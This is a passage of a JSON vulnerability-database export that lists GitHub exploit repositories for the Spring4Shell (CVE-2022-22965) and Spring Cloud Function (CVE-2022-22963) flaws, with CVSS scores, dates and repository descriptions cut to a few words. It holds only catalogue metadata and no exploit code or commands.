3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", 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cve-2022-22963\n## Build\n```bash\n$...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-03T06:45:51", "type": "githubexploit", "title": "Exploit for Expression Language Injection in Vmware Spring Cloud Function", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-04-03T07:36:26", "id": "8D79D09C-1FB6-5C99-89C0-D839A4817791", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T15:55:23", "description": "# spring-rec-demo\n\nThe demo code showing the recent Spring4Shell...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-06T04:17:51", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-26T19:31:44", "id": "69C8078C-1B8D-5B51-8951-4342A675A93D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:53:41", "description": "# spring-core-rce \nspring core rce \u7b80\u5355\u5229\u7528 \n\nwar\u53ef\u4ee5\u4f7f\u7528 \nhttps://gi...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T13:02:18", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-16T21:52:31", "id": "81DFF6A6-4518-543A-B06C-E7A6466ACB88", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-20T05:19:51", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-19T23:16:40", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-21T06:41:10", "id": "91C0D03D-8468-59A7-B3B7-F6B118A62FFB", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-21T09:11:44", "description": "# CVE-2022-22965-rexbb\nspringboot core \u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0cCVE-2022-22965\u6f0f\u6d1e\u5229\u7528...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-28T04:50:16", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-20T23:21:07", "id": "5D705C67-17AA-5E5C-A72D-A1ED6F4DEDA7", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T15:14:41", "description": "# Spring Boot CVE-2022-22965\nDocker PoC for CVE-2022-22965 with ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-28T14:34:51", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-11-29T04:29:29", "id": "AE9F0F3B-00DE-5B73-87A1-BA592FA6E616", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T14:50:56", "description": "# Spring RCE CVE-2022-22965\n\n### \u6f0f\u6d1e\u73af\u5883\n\n\u73af\u5883\u4fe1\u606f\n* springboot\n* jdk11...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-06-07T09:02:50", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-06-08T03:38:35", "id": "7D29AFE9-2E1C-597D-80A3-49E03F52D903", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:56:20", "description": "## CVE-2022-22965: Spring-Core-Rce \n\n## EXP\n\n\u7279\u6027:\n\n1. \u6f0f\u6d1e\u63a2\u6d4b(\u4e0d\u5199\u5165 we...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-30T14:35:00", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": 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"published": "2022-04-04T13:35:56", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-11-09T18:15:40", "id": "21FA1164-A4AD-57B4-8CFE-6B9B5EE9D199", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T15:56:00", "description": "# spring-framework-rce\nCVE-2022-22965\n\n## \u73af\u5883\u9700\u6c42\n\n1. tomcat8 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"NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-12-02T13:09:56", "id": "661FCFFE-E5C3-5CF9-9CD5-68869CEDED1E", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:53:53", "description": "## Spring-Core JDK9+ RCE\n\n### \u4f7f\u7528\u8bf4\u660e\n```\n\u2570\u2500 ./CVE-2022-22965 -h ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T07:55:26", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-16T21:52:33", "id": "40B1BD3D-722E-5B72-A0D3-98A5729214D3", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T15:56:06", "description": "# CVE-2022-22965-POC\nCVE-2022-22965 spring-co...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T10:51:05", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-01T11:11:14", "id": "DF61600D-38EB-5DD1-862B-290A1B4D1019", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:54:46", "description": "# CVE-2022-22965\n\n[Spring Framework/CVE-2022-22965](https://vuln...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T06:50:21", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-16T21:52:32", "id": "D09EAEC3-7B66-5E76-BF91-64C048C7D58D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:54:54", "description": "# Spring4Shell PoC Application\n\nThis is a dockerized application...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T00:24:28", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-16T21:52:30", "id": "EA9501F7-CC4E-5C60-ACF3-F636E7F54C6F", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-08-04T22:07:19", "description": "= Spring Framework version override showcase\n\nThis repository sh...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T06:16:20", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-01T06:44:44", "id": "18E406F3-7737-558F-9993-BD12421447B4", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T15:55:34", "description": "# Spring4Shell - CVE-2022-22965\n\n## Build\n- let's clone the repo...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-04T16:43:03", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-06-03T05:02:36", "id": "A6262D7C-E486-57FA-BFE3-D7774CB085C9", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:54:17", "description": "# CVE-2022-22965\n### 2022.04.02 16:44\n\u4f18\u5316\u4e86POC\uff0c\u4e0d\u518d\u662f\u4e00\u6b21\u6027\u9a8c\u8bc1\nOptimized ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-02T03:17:48", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-16T21:52:34", "id": "866A8BD8-7D36-53DA-AA66-A0064438E2A5", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-19T17:58:12", "description": "# CVE-2022-22965\n## Poc&Exp,\u652f\u6301\u6279\u91cf\u626b\u63cf\n\n### \u4f7f\u7528\n```\n -a string\n ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-06-03T16:39:50", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-19T16:17:58", "id": "F46FFDD3-4C3B-5BD6-A69D-43F2CA80D469", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T15:56:23", "description": "# CVE-2022-22965 PoC\n\nMinimal example of how to reproduce CVE-20...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T13:21:49", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-05-18T10:10:57", "id": "608612F7-69E9-5491-B453-5DE098B798CA", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T15:55:26", "description": "![](images/Spring\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u5206\u6790-CVE-2022-229...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-05T15:41:26", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-05T15:59:01", "id": "AF11EF27-730D-5BA1-8B1D-7676A6FFCEAF", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-08-09T23:28:47", "description": "# CVE-2022-22965\nSpring4Shell (CVE-2022-22965)\n\n## Usage\n\n### 1....", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T12:37:32", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": 